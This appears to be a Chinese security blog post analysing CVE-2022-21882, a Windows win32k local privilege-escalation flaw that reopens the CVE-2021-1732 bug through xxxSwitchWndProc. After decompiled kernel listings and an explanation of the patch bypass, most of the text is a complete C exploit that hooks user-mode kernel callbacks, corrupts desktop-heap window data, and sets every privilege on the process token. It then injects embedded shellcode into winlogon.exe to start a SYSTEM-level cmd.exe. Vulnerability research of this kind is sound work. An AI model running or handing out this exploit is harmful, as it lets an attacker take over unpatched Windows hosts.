赞
踩
该漏洞的成因和
CVE-2021-1732
类似,如果不了解,请先阅读我之前的分析:https://blog.csdn.net/qq_41252520/article/details/119349398主要因为 x x x C l i e n t A l l o c E x t r a B y t e s F u n c \textcolor{cornflowerblue}{xxxClientAllocExtraBytesFunc} xxxClientAllocExtraBytesFunc函数会回调用户空间中的
u s e r 32 ! _ x x x C l i e n t A l l o c W i n d o w C l a s s E x t r a B y t e s \textcolor{cornflowerblue}{user32!\_xxxClientAllocWindowClassExtraBytes} user32!_xxxClientAllocWindowClassExtraBytes,攻击者可以在此过程中设置目标窗口的 ExtraBytes指针为任意值,并且修改该指针的寻址方式为 桌面堆+偏移,以实现桌面堆的越界写。在
CVE-2021-1732
中,只有 x x x C r e a t e W i n d o w s E x \textcolor{cornflowerblue}{xxxCreateWindowsEx} xxxCreateWindowsEx函数中会调用 x x x C l i e n t A l l o c E x t r a B y t e s F u n c \textcolor{cornflowerblue}{xxxClientAllocExtraBytesFunc} xxxClientAllocExtraBytesFunc,后微软推出了针对该漏洞的补丁。后面小节会分析为什么打了补丁的 x x x C l i e n t A l l o c E x t r a B y t e s F u n c \textcolor{cornflowerblue}{xxxClientAllocExtraBytesFunc} xxxClientAllocExtraBytesFunc还会造成CVE-2022-21882
漏洞。
Windows 10 Version 21H2 for x64-based Systems Windows 10 Version 21H2 for ARM64-based Systems Windows 10 Version 21H2 for 32-bit Systems Windows 11 for ARM64-based Systems Windows 11 for x64-based Systems Windows Server, version 20H2 (Server Core Installation) Windows 10 Version 20H2 for ARM64-based Systems Windows 10 Version 20H2 for 32-bit Systems Windows 10 Version 21H1 for ARM64-based Systems Windows 10 Version 21H1 for x64-based Systems Windows 10 Version 1909 for x64-based Systems Windows 10 Version 1909 for 32-bit Systems Windows Server 2019 (Server Core installation) Windows Server 2019 Windows 10 Version 1809 for ARM64-based Systems Windows 10 Version 1809 for x64-based Systems Windows 10 Version 1809 for 32-bit Systems Windows 10 Version 20H2 for x64-based Systems Windows 10 Version 1909 for ARM64-based Systems Windows Server 2022 (Server Core installation) Windows Server 2022 Windows 10 Version 21H1 for 32-bit Systems
7.8 | 高危
【环境】win10x64_21H2 19044.1415
首 先 要 从 C V E − 2021 − 1732 的 补 丁 分 析 说 起 \textcolor{green}{首先要从CVE-2021-1732的补丁分析说起} 首先要从CVE−2021−1732的补丁分析说起
安装补丁后, x x x C r e a t e W i n d o w E x \textcolor{cornflowerblue}{xxxCreateWindowEx} xxxCreateWindowEx在调用 x x x C l i e n t A l l o c W i n d o w C l a s s E x t r a B y t e s \textcolor{cornflowerblue}{xxxClientAllocWindowClassExtraBytes} xxxClientAllocWindowClassExtraBytes后增添了一个检查:
__int64 __fastcall xxxCreateWindowEx(int a1, wchar_t *a2, __int64 a3, __int64 a4, unsigned int a5, unsigned int a6, int a7, unsigned int a8, unsigned int a9, __int64 a10, __int64 a11, __int64 a12, __int64 a13, __int64 a14, int a15, int a16, __int64 a17) { ... LABLE_543: ... goto LABEL_544; LABEL_544: ... xxxFreeWindow(v50); ... goto LABEL_37; LABEL_37: SmartObjStackRef<tagMENU>::~SmartObjStackRef<tagMENU>(&v308); SmartObjStackRef<tagCLS>::~SmartObjStackRef<tagCLS>(&v303); return 0i64; ... cbExtraBytes = *(unsigned int *)(*((_QWORD *)v50 + 5) + 0xC8i64); if ( !(_DWORD)cbExtraBytes ) goto LABEL_211; ExtraBytes = xxxClientAllocWindowClassExtraBytes(cbExtraBytes);// 易受攻击的函数 v405 = ExtraBytes; if ( !ExtraBytes ) { v301 = 2; if ( *((_DWORD *)v50 + 2) != 1 ) goto LABEL_542; goto LABEL_197; } if ( (unsigned int)IsWindowBeingDestroyed((__int64)v50) || *(_BYTE *)(_HMPheFromObject(v96) + 0x19) & 1 || (v352 = 0i64, tagWND::RedirectedFieldpExtraBytes::operator!=<unsigned __int64>((__int64)v50 + 0x140, &v352)) )// tagWND->ExtraBytes != 0 { LABEL_542: v121 = v301; goto LABEL_543; } tagWND_1 = *((_QWORD *)v50 + 5); if ( *(_DWORD *)(tagWND_1 + 0xE8) & 0x800 ) { MicrosoftTelemetryAssertTriggeredNoArgsKM(); tagWND_1 = v306[5]; } *(_QWORD *)(tagWND_1 + 0x128) = ExtraBytes; }
__int64 __fastcall xxxSwitchWndProc(struct tagWND *a1, int a2, unsigned __int64 a3, __int64 a4) { ... *((_QWORD *)v7 + 0x23) = v15; *(_DWORD *)(*(_QWORD *)v8 + 0xFCi64) = v14; cbExtraBytes = *(unsigned int *)(*(_QWORD *)v8 + 0xC8i64); v28 = cbExtraBytes; if ( (_DWORD)cbExtraBytes ) { ret = (void *)xxxClientAllocWindowClassExtraBytes((unsigned int)cbExtraBytes); if ( !ret ) return 0i64; } else { ret = 0i64; } if ( tagWND::RedirectedFieldpExtraBytes::operator<bool> bool((__int64)v7 + 0x140) )// tagWND->ExtraBytes != NULL { if ( ret ) memmove( ret, (const void *)(*(_QWORD *)(*(_QWORD *)v8 + 0x128i64) + *(unsigned int *)(*(_QWORD *)v8 + 0xFCi64)), cbExtraBytes); tagWND = *((_QWORD *)v7 + 5); ExtraBytes = *(_QWORD *)(tagWND + 0x128); *(_QWORD *)(tagWND + 0x128) = ret; *(_DWORD *)(*((_QWORD *)v7 + 5) + 0xC8i64) = cbExtraBytes; xxxClientFreeWindowClassExtraBytes((__int64)v7, ExtraBytes); } ... }
@line:8 当被切换的目标窗口的 cbExtraBytes大于 0时,就会调用易受攻击的函数
x x x C l i e n t A l l o c W i n d o w C l a s s E x t r a B y t e s \textcolor{cornflowerblue}{xxxClientAllocWindowClassExtraBytes} xxxClientAllocWindowClassExtraBytes为窗口分配额外内存,后面却没有检查窗口的 ExtraBytes在用户层回调过程中是否遭到修改。因此,同样的问题又发生了!并且这个漏洞更容易利用,因为窗口已经创建完毕,我们可以轻松拿到窗口的句柄。
需要注意的是,当分配了额外内存,并拷贝完数据后,就会释放掉额外内存。 @line:29
整个利用过程可以用一张图来表示
首先应用层可以通过调用 N t U s e r M e s s a g e C a l l \textcolor{cornflowerblue}{NtUserMessageCall} NtUserMessageCall函数触发内核层的 x x x S w i t c h W n d P r o c \textcolor{cornflowerblue}{xxxSwitchWndProc} xxxSwitchWndProc函数,接着就会调用到易受攻击的函数 x x x C l i e n t A l l o c W i n d o w C l a s s E x t r a B y t e s \textcolor{cornflowerblue}{xxxClientAllocWindowClassExtraBytes} xxxClientAllocWindowClassExtraBytes。我们事先在应用层 Hook相应的回调函数,然后就是调用函数 N t U s e r C o n s o l e C o n t r o l \textcolor{cornflowerblue}{NtUserConsoleControl} NtUserConsoleControl修改 tagWND_Trigger的 ExtraBytes内存寻址方式为 桌面堆+偏移,然后调用函数 N t C a l l b a c k R e t u r n \textcolor{cornflowerblue}{NtCallbackReturn} NtCallbackReturn将受害者窗口相对于桌面堆的偏移 tagWND_Victim offset设置为 t a g W N D _ T r i g g e r − > E x t r a B y t e s \textcolor{orange}{tagWND\_Trigger->ExtraBytes} tagWND_Trigger−>ExtraBytes。
还要 Hook应用层的 U s e r 32 ! _ x x x C l i e n t F r e e W i n d o w C l a s s E x t r a B y t e s \textcolor{cornflowerblue}{User32!\_xxxClientFreeWindowClassExtraBytes} User32!_xxxClientFreeWindowClassExtraBytes,使其不释放 t a g W N D _ T r i g g e r − > E x t r a B y t e s \textcolor{orange}{tagWND\_Trigger->ExtraBytes} tagWND_Trigger−>ExtraBytes,保证进一步的漏洞利用能够顺利进行。
触发漏洞的窗口(hTrigger)和受害者窗口(hVictim)在内存上的布局应遵循下图所示的方式:
hVictim在内存地址低处,hTrigger在内存地址高处。通过前一张图中的漏洞利用流程,修改 hTrigger的 t a g W N D − > F l a g s ∣ = 0 x 800 \textcolor{orange}{tagWND->Flags\ |=\ 0x800} tagWND−>Flags ∣= 0x800,并设置 tagWND_Victim相对于桌面堆的偏移为 t a g W N D T r i g g e r − > E x t r a B y t e s \textcolor{orange}{tagWND_Trigger->ExtraBytes} tagWNDTrigger−>ExtraBytes,然后对 hWndTrigger调用 S e t W i n d o w L o n g \textcolor{cornflowerblue}{SetWindowLong} SetWindowLong系列的函数,越界修改 t a g W N D _ V i c t i m − > E x t r a B y t e s \textcolor{orange}{tagWND\_Victim->ExtraBytes} tagWND_Victim−>ExtraBytes为任意内存,再对 hWndVictim调用 S e t W i n d o w L o n g \textcolor{cornflowerblue}{SetWindowLong} SetWindowLong系列的函数便可实现任意内存写。
获得任意内核地址写之后,我们可以修改当前进程的 T o k e n − > P r i v i l e g e s \textcolor{orange}{Token->Privileges} Token−>Privileges,开启全部权限,然后注入 shellcode到 winlong.exe获得一个系统用户的 shell。
最后不要忘了恢复 t a g W N D _ V i c t i m − > E x t r a B y t e s \textcolor{orange}{tagWND\_Victim->ExtraBytes} tagWND_Victim−>ExtraBytes和 t a g W N D T r i g g e r − > F l a g s \textcolor{orange}{tagWND_Trigger->Flags} tagWNDTrigger−>Flags,避免系统 BSOD。
#include<windows.h> #include<stdio.h> #include<stdlib.h> #include <Psapi.h> #pragma comment(lib, "Psapi.lib ") #define KERNEL_CALLBACK_TABLE_OFFSET 0x58 #define TRIGGERWND_EXTRASIZE 0xABCD #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L) #pragma pack(1) typedef struct { ULONG64 hWnd; // + 0x00 ULONG64 OffsetToDesktopHeap; // + 0x08 ULONG64 state; // + 0x10 DWORD dwExStyle; // + 0x18 DWORD dwStyle; // + 0x1C BYTE padd1[0xa8]; ULONG64 cbWndExtra; // + 0xC8 BYTE padd2[0x18]; DWORD dwExtraFlag; // + 0xE8 BYTE padd3[0x3c]; ULONG64 pExtraBytes; // + 0x128 }tagWNDK,*PWND; #pragma pack(0) typedef struct _SYSTEM_HANDLE { PVOID Object; HANDLE UniqueProcessId; HANDLE HandleValue; ULONG GrantedAccess; USHORT CreatorBackTraceIndex; USHORT ObjectTypeIndex; ULONG HandleAttributes; ULONG Reserved; } SYSTEM_HANDLE, * PSYSTEM_HANDLE; typedef struct _SYSTEM_HANDLE_INFORMATION_EX { ULONG_PTR HandleCount; ULONG_PTR Reserved; SYSTEM_HANDLE Handles[1]; } SYSTEM_HANDLE_INFORMATION_EX, * PSYSTEM_HANDLE_INFORMATION_EX; enum SYSTEM_INFORMATION_CLASS { SystemExtendedHandleInformation = 64 }; using NtUserMessageCall_t = NTSTATUS(*)( HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAnsi); using ZwQuerySystemInformation_t = NTSTATUS(*)( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength); using RtlAllocateHeap_t = PVOID(*)(PVOID HeapHandle, ULONG Flags, SIZE_T Size); using xxxClientAllocWindowClassExtraBytes_t = NTSTATUS(*)(PDWORD Length); using xxxClientFreeWindowClassExtraBytes_t = NTSTATUS(*WINAPI)(PVOID* pInfo); using NtUserConsoleControl_t = NTSTATUS(__fastcall*)(DWORD64, LPVOID, DWORD); using NtCallbackReturn_t = NTSTATUS(__fastcall*)(LPVOID, DWORD, NTSTATUS); using HMValidateHandle_t = tagWNDK*(__fastcall*)(HANDLE, UINT); using IsMenu_t = BOOL(*)(HMENU hMenu); namespace gb { xxxClientAllocWindowClassExtraBytes_t xxxClientAllocWindowClassExtraBytes = 0; xxxClientFreeWindowClassExtraBytes_t xxxClientFreeWindowClassExtraBytes = 0; NtUserConsoleControl_t NtUserConsoleControl = 0; NtCallbackReturn_t NtCallbackReturn = 0; HMValidateHandle_t HMValidateHandle = 0; NtUserMessageCall_t NtUserMessageCall = 0; ZwQuerySystemInformation_t ZwQuerySystemInformation = 0; RtlAllocateHeap_t RtlAllocateHeap = 0; IsMenu_t u32_IsMenu = 0; HMODULE g_hNtdll = 0; HMODULE g_hWin32u = 0; HMODULE g_hUser32 = 0; HWND g_hTriggerWnd = 0; HWND g_hVictimWnd = 0; DWORD64 TriggerDeskHeap = 0; DWORD64 VictimDeskHeap = 0; HANDLE hToken = 0; }; VOID SetFuncHook(DWORD64 newAllocFunc,DWORD64 newFreeFunc) { //1.获取本进程的PEB DWORD64 ulCurrPEB = __readgsqword(0x60); printf("[+] Found ulCurrPEB = 0x%p\n", ulCurrPEB); //2.找到KernelCallbackTable DWORD64 KernelCallbackTable = ulCurrPEB + KERNEL_CALLBACK_TABLE_OFFSET; KernelCallbackTable = *(PDWORD64)KernelCallbackTable; printf("[+] Found KernelCallbackTable = 0x%p\n", KernelCallbackTable); DWORD64 xxxClientAllocExtraBytesFunc = *(PDWORD64)((DWORD64)KernelCallbackTable + 0x7B * 8); printf("[+] Found xxxClientAllocExtraBytesFunc = 0x%p\n", xxxClientAllocExtraBytesFunc); gb::xxxClientAllocWindowClassExtraBytes = (xxxClientAllocWindowClassExtraBytes_t)xxxClientAllocExtraBytesFunc; DWORD64 xxxClientFreeExtraBytesFunc = *(PDWORD64)((DWORD64)KernelCallbackTable + 0x7C * 8); printf("[+] Found xxxClientFreeExtraBytesFunc = 0x%p\n", xxxClientFreeExtraBytesFunc); gb::xxxClientFreeWindowClassExtraBytes = (xxxClientFreeWindowClassExtraBytes_t)xxxClientFreeExtraBytesFunc; //3.HOOK //首先需要设置页面可写属性 DWORD dwOldProtect; VirtualProtect((LPVOID)((DWORD64)KernelCallbackTable + 0x7B * 8), 0x300, PAGE_EXECUTE_READWRITE, &dwOldProtect); *(PDWORD64)((DWORD64)KernelCallbackTable + 0x7B * 8) = newAllocFunc; VirtualProtect((LPVOID)((DWORD64)KernelCallbackTable + 0x7B * 8), 0x300, dwOldProtect, &dwOldProtect); VirtualProtect((LPVOID)((DWORD64)KernelCallbackTable + 0x7C * 8), 0x300, PAGE_EXECUTE_READWRITE, &dwOldProtect); *(PDWORD64)((DWORD64)KernelCallbackTable + 0x7C * 8) = newFreeFunc; VirtualProtect((LPVOID)((DWORD64)KernelCallbackTable + 0x7C * 8), 0x300, dwOldProtect, &dwOldProtect); } NTSTATUS WINAPI ClientFreeWindowsClassExtraBytesProxy(PVOID* pInfo) { PWND pwnd = (PWND)pInfo[0]; if (pwnd->cbWndExtra == TRIGGERWND_EXTRASIZE) return 1; return gb::xxxClientFreeWindowClassExtraBytes(pInfo); } NTSTATUS WINAPI ClientAllocatWindowClassExtraBytesProxy(PDWORD size) { if (*size==TRIGGERWND_EXTRASIZE) { //获取窗口句柄 //使用NtUserConsoleControl 将目标窗口的寻址模式修改为DesktopHeap+Offset printf("[+] ClientAllocatWindowClassExtraBytesProxy called! Offset = %p\n\n", gb::VictimDeskHeap); gb::NtUserConsoleControl(6, &gb::g_hTriggerWnd, 0x10); //修改hWndTriggle 的 tagWnd->ExtraBytes 为 hTriggerWnd的桌面堆 DWORD64 ulResult = gb::VictimDeskHeap ; return gb::NtCallbackReturn(&ulResult, 24, 0); } return gb::xxxClientAllocWindowClassExtraBytes(size); } LRESULT __fastcall WindowProc(HWND a1, UINT a2, WPARAM a3, LPARAM a4) { if (a2 != 2) return DefWindowProcW(a1, a2, a3, a4); PostQuitMessage(0); return 0; } bool CheckPrivilege(HANDLE TokenHandle) { BOOL isPrivilegeSet = FALSE; PRIVILEGE_SET privSet; LUID_AND_ATTRIBUTES Privileges[1]; LookupPrivilegeValue(NULL, "SeDebugPrivilege", &(Privileges[0].Luid)); Privileges[0].Attributes = 0; privSet.PrivilegeCount = 1; privSet.Control = PRIVILEGE_SET_ALL_NECESSARY; memcpy(privSet.Privilege, Privileges, sizeof(Privileges)); PrivilegeCheck(TokenHandle, &privSet, &isPrivilegeSet); return isPrivilegeSet; } DWORD getProcessId(const char* name) { DWORD aProcesses[1024], cbNeeded, cProcesses; unsigned int i; if (!EnumProcesses(aProcesses, sizeof(aProcesses), &cbNeeded)) { printf("[Error_%d] EnumProcess failed...\n", __LINE__); exit(0); } // Calculate how many process identifiers were returned. cProcesses = cbNeeded / sizeof(DWORD); // Print the name and process identifier for each process. for (i = 0; i < cProcesses; i++) { if (aProcesses[i] != 0) { DWORD processID = aProcesses[i]; CHAR szProcessName[MAX_PATH] = "<unknown>"; // Get a handle to the process. HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processID); // Get the process name. if (NULL != hProcess) { HMODULE hMod; DWORD cbNeeded; if (EnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) { GetModuleBaseNameA(hProcess, hMod, szProcessName, sizeof(szProcessName) / sizeof(TCHAR)); } } // Print the process name and identifier. if (!lstrcmpA(szProcessName, name)) { CloseHandle(hProcess); return (processID); } // Release the handle to the process. CloseHandle(hProcess); } } return 0; } void SpawnShell() { HANDLE hSystemProcess = INVALID_HANDLE_VALUE; PVOID pLibRemote; HMODULE hKernel32 = GetModuleHandleA("Kernel32"); DWORD processID; unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51" \ "\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \ "\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0" \ "\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed" \ "\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88" \ "\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44" \ "\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" \ "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1" \ "\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44" \ "\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49" \ "\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a" \ "\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41" \ "\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" \ "\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" \ "\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" \ "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47" \ "\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64\x2e\x65" \ "\x78\x65\x00"; if ((processID = getProcessId("winlogon.exe")) == 0) { printf("[Error_%d] Couldn't retrieve process ID...\n", __LINE__); return; } printf("[+] Retrieved process id: %d\n", processID); hSystemProcess = OpenProcess(GENERIC_ALL, false, processID); if (hSystemProcess == INVALID_HANDLE_VALUE || hSystemProcess == (HANDLE)0) { printf("[Error_%d] Couldn't open system process...\n", __LINE__); return; } printf("[+] Got a handle on a system Process: %08p\n", hSystemProcess); pLibRemote = VirtualAllocEx(hSystemProcess, NULL, sizeof(shellcode) * 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (!pLibRemote) { printf("[Error_%d] Virtual alloc failed !\n", __LINE__); return; } printf("[+] Allocation in system process succeded with address %08p\n", pLibRemote); if (!WriteProcessMemory(hSystemProcess, pLibRemote, shellcode, sizeof(shellcode), NULL)) { printf("[Error_%d] WriteProcessMemory failed !\n", __LINE__); return; } HANDLE hThread = CreateRemoteThread(hSystemProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pLibRemote, NULL, 0, NULL); printf("[+] Writing in system process succeded\n"); if (hThread == NULL) { printf("[Error_%d] CreateRemoteThread failed !\n", __LINE__); return; } else printf("[+] Remote thread created !\n"); CloseHandle(hSystemProcess); } ULONG64 GetToken() { PSYSTEM_HANDLE_INFORMATION_EX sys_handle_info_ref = NULL; ULONG64 Token = 0; ULONG len = 20; NTSTATUS ntst = 0; OpenProcessToken(GetCurrentProcess(), GENERIC_READ, &gb::hToken); if (gb::hToken == INVALID_HANDLE_VALUE) { printf("[Error_%d] GetToken(): OpenProcessToken failed.\n", __LINE__); return 0; } //获取本进程的EPROCESS do { len *= 2; sys_handle_info_ref = (PSYSTEM_HANDLE_INFORMATION_EX)realloc(sys_handle_info_ref, len); ntst = gb::ZwQuerySystemInformation( (SYSTEM_INFORMATION_CLASS)SystemExtendedHandleInformation, sys_handle_info_ref, len, &len); } while (ntst == STATUS_INFO_LENGTH_MISMATCH); if (ntst != 0) { printf("[Error_%d] GetToken(): ZwQuerySystemInformation failed.\n", __LINE__); if (sys_handle_info_ref) free(sys_handle_info_ref); return 0; } DWORD pid = GetCurrentProcessId(); for (int i = 0; i < sys_handle_info_ref->HandleCount; i++) { if (gb::hToken == sys_handle_info_ref->Handles[i].HandleValue && (HANDLE)pid == sys_handle_info_ref->Handles[i].UniqueProcessId) { Token = (ULONG64)sys_handle_info_ref->Handles[i].Object; break; } } if (sys_handle_info_ref) free(sys_handle_info_ref); printf("[+] Found current process token = %p\n", Token); return Token; } BOOLEAN Init() { BOOLEAN bRet = TRUE; int offset = 0; DWORD64 next_code = 0; __try { gb::g_hUser32 = LoadLibraryA("user32.dll"); if (!gb::g_hUser32) { printf("[!] Error: %d, Code = 0x%p", __LINE__, GetLastError()); bRet = FALSE; __leave; } //获取u32_IsMenu gb::u32_IsMenu = (IsMenu_t)GetProcAddress(gb::g_hUser32, "IsMenu"); if (!gb::u32_IsMenu) { printf("[!] Error: %d, Code = 0x%p", __LINE__, GetLastError()); bRet = FALSE; __leave; } for (int i = 0; i < 0x100; i++) { PUCHAR tr = (PUCHAR)gb::u32_IsMenu + i; if (*tr == 0xE8) {//找到调用HMValidateHandle的指令位置 offset = *(int*)((PCHAR)gb::u32_IsMenu + i + 1); next_code = (DWORD64)gb::u32_IsMenu + i + 5; gb::HMValidateHandle = (HMValidateHandle_t)(next_code + offset); break; } } if (!gb::HMValidateHandle) { printf("[!] Error: Can not find HMValidateHandle!\n"); bRet = FALSE; __leave; } printf("[+] Found HMValidateHandle = 0x%p\n", gb::HMValidateHandle); gb::g_hNtdll = LoadLibraryA("ntdll.dll"); if (!gb::g_hNtdll) { printf("[!] Error: %d, Code = 0x%p", __LINE__, GetLastError()); bRet = FALSE; __leave; } gb::g_hWin32u = LoadLibraryA("win32u.dll"); if (!gb::g_hWin32u) { printf("[!] Error: %d, Code = 0x%p", __LINE__, GetLastError()); bRet = FALSE; __leave; } gb::NtCallbackReturn = (NtCallbackReturn_t)GetProcAddress(gb::g_hNtdll, "NtCallbackReturn"); gb::NtUserMessageCall = (NtUserMessageCall_t)GetProcAddress(gb::g_hWin32u, "NtUserMessageCall"); gb::NtUserConsoleControl = (NtUserConsoleControl_t)GetProcAddress(gb::g_hWin32u, "NtUserConsoleControl"); gb::ZwQuerySystemInformation = (ZwQuerySystemInformation_t)GetProcAddress(gb::g_hNtdll, "NtQuerySystemInformation"); gb::RtlAllocateHeap = (RtlAllocateHeap_t)GetProcAddress(gb::g_hNtdll, "RtlAllocateHeap"); if (gb::NtCallbackReturn==0 || gb::NtUserMessageCall==0 || gb::NtUserConsoleControl==0 || gb::ZwQuerySystemInformation==0 || gb::RtlAllocateHeap==0) { printf("[!] Error: %d, Code = 0x%p", __LINE__, GetLastError()); bRet = FALSE; __leave; } } __finally { } return bRet; } int main(int argc,char *argv[]) { if (argc <= 1) { printf( "Usage:\n" " Example: CVE-2022-21882.exe whoami\n" ); return 0; } WNDCLASSEXW WndClassExW = { 0 }; ULONG64 TokenAddr = 0; if (Init()) { TokenAddr = GetToken(); if (TokenAddr == 0) { printf("[-] Error(%u): GetToken failed.\n"); return 0; } WndClassExW.hIcon = 0; WndClassExW.hbrBackground = 0; WndClassExW.lpszClassName = 0; WndClassExW.lpfnWndProc = (WNDPROC)WindowProc; WndClassExW.cbSize = sizeof(WNDCLASSEXW); WndClassExW.style = CS_VREDRAW | CS_HREDRAW;; WndClassExW.cbClsExtra = 0; WndClassExW.cbWndExtra = 0x60; WndClassExW.hInstance = GetModuleHandleW(0); WndClassExW.lpszClassName = L"VictimClass"; //被覆盖写 ATOM atom_vic = RegisterClassExW(&WndClassExW); WndClassExW.cbWndExtra = TRIGGERWND_EXTRASIZE; WndClassExW.lpszClassName = L"TriggerClass"; //触发漏洞 ATOM atom_trig = RegisterClassExW(&WndClassExW); gb::g_hVictimWnd = CreateWindowExW(NULL, (LPCWSTR)(unsigned __int16)atom_vic, L"VictimWnd", NULL, 0, 0, 0, 0, 0, 0, GetModuleHandleW(0), 0); printf("[+] Created victim windows = 0x%p\n", gb::g_hVictimWnd); gb::g_hTriggerWnd = CreateWindowExW(NULL, (LPCWSTR)(unsigned __int16)atom_trig, L"TriggerBug", NULL, 0, 0, 0, 0, 0, 0, GetModuleHandleW(0), 0); printf("[+] Created trigger windows = 0x%p\n", gb::g_hTriggerWnd); // 触发漏洞 // 获取刚创建的这两个窗口的桌面堆 PWND Trigger= gb::HMValidateHandle(gb::g_hTriggerWnd, 1); gb::TriggerDeskHeap = Trigger->OffsetToDesktopHeap; printf("[+] TriggerDeskHeap's tagWND = 0x%p\n", Trigger); PWND Victim = gb::HMValidateHandle(gb::g_hVictimWnd, 1); gb::VictimDeskHeap = Victim->OffsetToDesktopHeap; DWORD64 Distance = 0; if (gb::VictimDeskHeap> gb::TriggerDeskHeap) { Distance=gb::VictimDeskHeap - gb::TriggerDeskHeap; } else { Distance = gb::TriggerDeskHeap - gb::VictimDeskHeap; } if (Distance >= TRIGGERWND_EXTRASIZE) { printf("[-] Heap spray failed!\n"); return 0; } printf("[+] VictimDeskHeap's tagWND = 0x%p\n", Victim); printf("[+] TriggerDeskHeap = %p\n", gb::TriggerDeskHeap); printf("[+] VictimDeskHeap = %p\n", gb::VictimDeskHeap); // 代理回调函数 SetFuncHook((DWORD64)ClientAllocatWindowClassExtraBytesProxy,(DWORD64)ClientFreeWindowsClassExtraBytesProxy); // 触发漏洞 gb::NtUserMessageCall(gb::g_hTriggerWnd, WM_CREATE,0,0, NULL, 0, FALSE); // 修改 tagWND_victim->ExtraBytes = TokenAddr ULONG_PTR Old = SetWindowLongPtrW(gb::g_hTriggerWnd, 0x128+0x10, TokenAddr+0x40); // 修改 Token->Privileges.Enabled = 0xFFFFFFFFFFFFFFFF SetWindowLongPtrW(gb::g_hVictimWnd, 8, 0xFFFFFFFFFFFFFFFF); // 修改 Token->Privileges.Present = 0xFFFFFFFFFFFFFFFF SetWindowLongPtrW(gb::g_hVictimWnd, 0, 0xFFFFFFFFFFFFFFFF); if (CheckPrivilege(gb::hToken)) { SpawnShell(); } else { printf("[+] 提权失败!\n"); } // 恢复 tagWND_Victim->ExtraBytes = Old SetWindowLongPtrW(gb::g_hTriggerWnd, 0x128 + 0x10, Old); // 恢复 tagWND_Trigger->Styles &= ~0x800 SetWindowLongPtrW(gb::g_hTriggerWnd, Distance + 0xE8 + 0x10, Trigger->dwExStyle); system("pause"); } return 0; }
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。